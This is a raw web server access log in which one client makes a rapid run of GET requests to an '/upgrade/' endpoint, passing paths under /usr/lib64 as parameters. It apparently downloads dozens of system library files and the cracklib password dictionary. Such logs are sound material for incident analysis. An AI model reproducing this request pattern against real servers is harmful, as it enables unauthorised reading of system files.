45.135.193.11 - - [11/Sep/2026:22:57:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-route-3.so.200.26.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 357266 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-route-3.so.200.26.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibteam.so.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 126749 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibteam.so.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xkb.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 140692 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xkb.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdb-5.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 958749 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdb-5.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrm_radeon.so.1.128.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 125174 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrm_radeon.so.1.128.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnuma.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 127766 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnuma.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibuv.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 195412 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibuv.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibRemarks.so.21.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106197 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibRemarks.so.21.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSvtAv1Dec.so.0.8.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 872925 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSvtAv1Dec.so.0.8.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_utils.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118214 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_utils.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbind9.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 140913 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbind9.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-sync.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 112434 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-sync.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xtest.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107670 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xtest.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:14 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fpdns HTTP/1.1" 200 6239 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fpdns" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSPIRV-Tools-opt.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1021648 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSPIRV-Tools-opt.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgif.so.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 123102 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgif.so.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgif.so.7.2.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 122651 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgif.so.7.2.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblzma.so.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 189986 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblzma.so.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmariadb.a&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 264747 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmariadb.a&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtracker-sparql-3.0.so.0.102.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 416875 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtracker-sparql-3.0.so.0.102.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:17 -0400] "GET /upgrade/index.php?location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103779 "http://163.245.207.76:443/upgrade/index.php?location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibX11-xcb.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106118 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibX11-xcb.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcom_err.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110338 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcom_err.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcpupower.so.0.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115292 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcpupower.so.0.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmariadbclient.a&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 264629 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmariadbclient.a&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibslapi.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 160302 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibslapi.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebpmux.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 124500 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebpmux.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSPIRV-Tools-reduce.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 170016 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSPIRV-Tools-reduce.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbytesize.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 114367 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbytesize.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibelf.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 156104 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibelf.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjansson.so.4.14.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 133587 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjansson.so.4.14.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtemplate.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 158190 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtemplate.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibzstd.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 429259 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibzstd.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcares.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 152901 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcares.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstriff-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 131328 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstriff-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgxps.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 166528 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgxps.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpciaccess.so.0.11.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121545 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpciaccess.so.0.11.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsystemd.so.0.35.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 498995 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsystemd.so.0.35.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xf86dri.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109730 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xf86dri.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdk_pixbuf-2.0.so.0.4200.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 185078 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdk_pixbuf-2.0.so.0.4200.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibopenjp2.so.2.4.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 263384 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibopenjp2.so.2.4.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamba-credentials.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 148069 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamba-credentials.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsemanage.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 211980 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsemanage.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibssh.so.4.9.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 322034 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibssh.so.4.9.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xvmc.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109110 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xvmc.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxml2.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 866285 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxml2.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnssckbi.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 206193 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnssckbi.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpolkit-gobject-1.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 152016 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpolkit-gobject-1.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibslang.so.2.3.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 513054 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibslang.so.2.3.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_abyss.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 160414 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_abyss.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:31 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fceph HTTP/1.1" 200 6212 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fceph" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfstrm.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 123836 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfstrm.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdbm.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 138118 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdbm.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicutest.so.67&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 135888 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicutest.so.67&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpoppler.so.106&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1394615 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpoppler.so.106&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtracker-sparql-3.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 417033 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtracker-sparql-3.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 157536 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_part.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119412 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_part.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fcracklib_dict.pwd&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 4578785 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fcracklib_dict.pwd&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
